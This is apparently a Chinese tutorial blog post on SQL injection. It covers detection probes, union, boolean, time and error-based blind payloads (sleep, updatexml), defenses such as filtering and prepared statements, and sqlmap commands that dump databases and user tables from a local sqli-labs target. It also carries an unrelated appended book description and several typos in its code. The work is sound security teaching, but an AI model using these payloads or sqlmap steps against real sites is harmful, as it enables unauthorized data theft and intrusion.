SQL注入攻击与防护

目录

一、SQL注入攻击概述

1.1 SQL注入概念

1.1.1 标准查询过程

1.1.2 SQL注入定义

1.2 SQL注入根本原因

1.3 SQL注入条件

1.4 SQL注入防范

1.4.1 根本原因:过滤不严

1.4.2 安全设计原则:数据与代码分离

1.5 SQL注入流程

1.6 SQL注入分类

1.6.1 回显注入

1.6.2 盲注

二、回显注入攻击

2.1 寻找注入点

2.1.1 常用语句

2.1.2 页面反馈 

2.2 查字段数

2.2.1 常用的命令

2.2.2 代码语句

2.3 MySQL数据库

2.3.1 MySQL系统函数

三、SQL盲注攻击

3.1 SQL盲注特点

3.1.1 只有true和false

3.1.2 无数据库有效信息

3.2 SQL盲注分类

3.2.1 布尔盲注

3.2.2 时间盲注

3.2.3 报错盲注

3.3 盲注总体思路

四、SQL注入攻击防护

4.1 SQL注入防护思想

4.1.1 SQL注入关键条件

4.1.2 SQL注入本质

4.1.3 安全设计原则

4.2 SQL注入防护方法

4.2.1 参数过滤

4.2.2 预编译处理

五、SQLMap使用

5.1 SQL注入工具

5.1.1 SQLMap

5.1.2 阿D

5.1.3 名小子

5.2 SQLMap的使用

5.2.1 SQLMap介绍

5.2.2 具体使用步骤(GET型)


一、SQL注入攻击概述

1.1 SQL注入概念

1.1.1 标准查询过程

1.1.2 SQL注入定义

攻击者把SQL命令插入到Web表单的输入域页面请求的查询字符串,并且插入的恶意SQL命令会导致原有SQL语句作用发生改变,从而得到欺骗服务器执行恶意SQL命令的一种攻击方式。

1.2 SQL注入根本原因

没有对用户输入数据的合法性进行判断

1.3 SQL注入条件

  • 用户能够控制输入的参数,前端传给后端的参数内容是用户可以控制的。
  • 用户输入的参数被拼接到SQL语句,且带入数据库查询,成为了要执行的代码

1.4 SQL注入防范

1.4.1 根本原因:过滤不严

1.4.2 安全设计原则:数据与代码分离

1.5 SQL注入流程

  • 判断Web系统使用的脚本语言,发现注入点,并确定是否存在SQL注入漏洞
  • 判断Web系统的数据库类型
  • 判断数据库中判断表及相应字段的结构
  • 构造注入语句,得到表中数据内容
  • 查找网站后台,并用SQL注入得到的管理员账号和口令登陆
  • 结合其他漏洞,上传Webshell并持续连接
  • 进一步提权得到服务器的系统权限
  • 查找注入点
  • 查库名
  • 查表名
  • 查字段名
  • 查重点数据

1.6 SQL注入分类

1.6.1 回显注入

即用户发起查询请求,服务器将查询结果返回到页面中进行显示

1.6.2 盲注

盲注的特点是用户发起请求,这个请求不一定是查询,服务器响应请求进行数据库查询,将结果返回但不显示具体的查询结果。典型的场景如用户注册,我们只会得到是否注册成功提示,并不会显示出数据库内容。

二、回显注入攻击

2.1 寻找注入点

2.1.1 常用语句

' //单引号测试
1' and '1'='1 //恒真测试
1' and '1'='2 //恒假测试

2.1.2 页面反馈 

  • 页面无变化。以上三种情况页面都没有任何不同,那么说明后台针对此查询点的过滤比较严格,是否存在SQL注入漏洞还需要进行后续测试。
  • 页面中少了部分内容。如果前两种情况正常,而第三种情况明显页面有缺失,则基本可以确定存在SQL注入漏洞,用下一步继续进行判断。
  • 错误回显。如果访问第三个连接后出现数据库报错信息,明显可以判断存在注入,用回显注入法进行注入。
  • 跳转默认界面。第一种情况正常,而第二、三个直接跳转到首页后者默认页面,那么可能后台有验证逻辑。
  • 直接关闭连接。如果上述的第二、三种情况出现访问失败,那么就可能时开启了防护类工具在线阻断了。

2.2 查字段数

2.2.1 常用的命令

  • order by(确认表的列数)
  • union(判断回显的具体字段位,一般构造前面的语句为假)

2.2.2 代码语句

1' order by 1 #
1' order by 5 #

注释:#、(%23)、--+

2.3 MySQL数据库

2.3.1 MySQL系统函数

version() //返回当前数据库的版本信息
user() //返回当前用户
database() //返回当前数据库名
Group_concat() //将查询结果连接成字符串

2.3.2 SQL注入危害

  • 绕过检测非法登陆
  • 非法查询关键信息

三、SQL盲注攻击

3.1 SQL盲注特点

3.1.1 只有true和false

3.1.2 无数据库有效信息

回显注入语句中加入判断方式,使得返回结果为true或false。

3.2 SQL盲注分类

3.2.1 布尔盲注

布尔盲注是构造SQL判断语句

1' and length(database())>=5 #
1' and substr(database(),1,1)=d #
" and ord(substr(database(),3,1))=119 #

3.2.2 时间盲注

  • 时间盲注是利用时间函数,观察不同条件的等待时长。利用Sleep()或 benchmark() 等函数让MySQL的批行时间变长。
  • 时间盲育注入多与 if( expr1,expr2,expr3) 函数结合使用,其中若 expr1 为True,则返回值为 expr2 的值,否则是 expr3 的值。
If(length(database())>3, sleep(5),1)
lf(substr(database() ,1,1)='d', sleep(5),1)

3.2.3 报错盲注

构造特殊参数形式,利用某些函数的报错信息进行注入。如 updatexml(XML_document,XPath_string, new_value) 用 new_value 替换 XML_document 中符合 XPath_ string 的值。其中:

  • XML_document:String格式,为XML文档对象的名称
  • XPath_string:Xpath格式的字符串
  • new_value:String格式,替换查找到的符合条件的数据
updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) //0x7e是~的十六进制ASCLL值
→ ERROR 1105 (HY000): XPATH syntax error: '~dvwa~'

获取数据库 dvwa下的表名:

updatexml(1,concat(0x7e,(SELECT table_name from information_schema,tables where 
table_schema='dvwa' limit 0,1),0x7e),1) //报错注入只显示一条结果,故使用 limit 语句

3.3 盲注总体思路

将想要查询的数据作为目标,构造SQL条件判断语句,与要查询的数据进行比较,并让数据库告之当前语句批行是否正确。

四、SQL注入攻击防护

4.1 SQL注入防护思想

4.1.1 SQL注入关键条件

  • 用户可控输入
  • 参数带入数据库查询

4.1.2 SQL注入本质

把用户输入当作代码执行

4.1.3 安全设计原则

数据与代码分离

4.2 SQL注入防护方法

4.2.1 参数过滤

① 参数类型限制

  • 参数类型限制:类型判定函数,如数字型判定 is_numeric(),cytpe_digit() 等
  • 参数长度限定:如 strlen() 等

② 危险字符处理

  • 黑名单过滤:针对参数中敏感字符进行过滤,用到 preg_replace() 函数,如union,\,' ,select等
  • 白名单过滤:符合白名单的方能通过
  • 参数转义:使用函数 mysgli_real_escape_string 对特殊符号转义

4.2.2 预编译处理

预编译语句,绑定变量,进行参数化查询。数据库服务器在数据库完成SQL指令的编译,才套用参数运行,参数不会被数据库运行,且仅当它是一个参数而言。

五、SQLMap使用

5.1 SQL注入工具

5.1.1 SQLMap

5.1.2 阿D

5.1.3 名小子

5.2 SQLMap的使用

5.2.1 SQLMap介绍

① 概述

开源的自动化SQL注入工具,由Python写成

② 主要功能

扫描、发现、利用给定URL的SQL注入漏洞

③ 特点

  • 完全支持多种数据库管理系统:MySQL、 Oracle、PostgreSQL、 Microsoft SQL Server.Microsoft Access、IBM DB2、SQLite、 Firebird、Sybase.SAP MaxDB、HSQLDB和Informix等
  • 支持 5 种SQL注入技术联合查询注入:市尔盲注、时间盲注、报错盲注、堆查询注入
  • 支持枚举用户、密码、哈希、权限、角色、数据库、数据表和列
  • 支持自动识别密码哈希格式并通过字典破解密码哈希

5.2.2 具体使用步骤(GET型)

① 判断是否存在注入

sqlmap.py -u "127.0.0.1/sqli-labs/Less-1/?id=1"

② 爆库

sqlmap.py -u "127.0.0.1/sqli-labs/Less-1/?id=1" --dbs

③ 爆表

sqlmap.py -u "127.0.0.1/sqli-labs/Less-1/?id=1" --tables -D security

④ 爆列

sqlmap.py -u "127.0.0.1/sqli-labs/Less-1/?id=1"--columns -T users -D security

⑤ 爆数据

sqlmap.py -u "127.0.0.1/sqli-labs/Less-1/?id=1” --dump -cpassword,username -T users -D security

POST型:sqlmap.py -r 3.txt --dbs

cookie型:sqlmap.py -u “127.0.0.1/sqli-1abs/Less-20/" --cookie "uname=admin" --level 2

  • 3
    点赞
  • 41
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
SQL注入是Internet上最危险、最有名的安全漏洞之一,本书是目前唯一一本专门致力于讲解SQL威胁的图书。本书作者均是专门研究SQL注入的安全专家,他们集众家之长,对应用程序的基本编码和升级维护进行全面跟踪,详细讲解可能引发SQL注入的行为以及攻击者的利用要素,并结合长期实践经验提出了相应的解决方案。针对SQL注入隐蔽性极强的特点,本书重点讲解了SQL注入的排查方法和可以借助的工具,总结了常见的利用SQL漏洞的方法。另外,本书还专门从代码层和系统层的角度介绍了避免SQL注入的各种策略和需要考虑的问题。   本书主要内容   SQL注入一直长期存在,但最近有所增强。本书包含所有与SQL注入攻击相关的、当前已知的信息,凝聚了由本书作者组成的、无私奉献的SQL注入专家团队的所有深刻见解。   什么是SQL注入?理解它是什么以及它的基本原理   查找、确认和自动发现SQL注入   查找代码中SQL注入时的提示和技巧   使用SQL注入创建利用   通过设计来避免由SQL攻击所带来的危险 第1章 什么是SQL注入 1 1.1 概述 2 1.2 理解Web应用的工作原理 2 1.2.1 一种简单的应用架构 3 1.2.2 一种较复杂的架构 4 1.3 理解SQL注入 5 1.4 理解SQL注入的产生过程 10 1.4.1 构造动态字符串 10 1.4.2 不安全的数据库配置 16 1.5 本章小结 18 1.6 快速解决方案 18 1.7 常见问题解答 19 第2章 SQL注入测试 21 2.1 概述 22 2.2 寻找SQL注入 22 2.2.1 借助推理进行测试 22 2.2.2 数据库错误 29 2.2.3 应用响应 38 2.2.4 SQL盲注 42 2.3 确认SQL注入 45 2.3.1 区分数字和字符串 46 2.3.2 内联SQL注入 46 2.3.3 终止式SQL注入 51 2.3.4 时间延迟 59 2.4 自动寻找SQL注入 60 2.5 本章小结 68 2.6 快速解决方案 68 2.7 常见问题解答 69 第3章 复查代码中的SQL注入 71 3.1 概述 72 3.2 复查源代码中的SQL注入 72 3.2.1 危险的编码行为 74 3.2.2 危险的函数 79 3.2.3 跟踪数据 82 3.2.4 复查PL/SQL和T-SQL代码 88 3.3 自动复查源代码第1章 什么是SQL注入 94 3.3.1 YASCA 96 3.3.2 Pixy 96 3.3.3 AppCodeScan 97 3.3.4 LAPSE 97 3.3.5 SWAAT 97 3.3.6 Microsoft SQL注入源代码分析器 98 3.3.7 CAT.NET 98 3.3.8 商业源代码复查工具 98 3.3.9 Ounce 99 3.3.10 Fortify源代码分析器 100 3.3.11 CodeSecure 100 3.4 本章小结 100 3.5 快速解决方案 101 3.6 常见问题解答 102 第4章 利用SQL注入 105 4.1 概述 106 4.2 理解常见的利用技术 107 4.3 识别数据库 108 4.3.1 非盲跟踪 109 4.3.2 盲跟踪 112 4.4 使用UINON语句提取数据 113 4.4.1 匹配列 114 4.4.2 匹配数据类型 115 4.5 使用条件语句 119 4.5.1 方法1:基于时间 120 4.5.2 方法2:基于错误 122 4.5.3 方法3:基于内容 123 4.5.4 处理字符串 123 4.5.5 扩展攻击 125 4.5.6 利用SQL注入错误 126 4.5.7 Oracle中的错误消息 128 4.6 枚举数据库模式 131 4.6.1 SQL Server 131 4.6.2 MySQL 136 4.6.3 Oracle 139 4.7 提升权限 142 4.7.1 SQL Server 142 4.7.2 Oracle 147 4.8 窃取哈希口令 148 4.8.1 SQL Server 149 4.8.2 MySQL 150 4.8.3 Oracle 151 4.9 带外通信 154 4.9.1 E-mail 154 4.9.2 HTTP/DNS 157 4.9.3 文件系统 158 4.10 自动利用SQL注入 161 4.10.1 Sqlmap 161 4.10.2 Bobcat 164 4.10.3 BSQL 164 4.10.4 其他工具 166 4.11 本章小结 166 4.12 快速解决方案 167 4.13 常见问题解答 168 第5章 SQL盲注利用 171 5.1 概述 172 5.2 寻找并确认SQL盲注 173
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值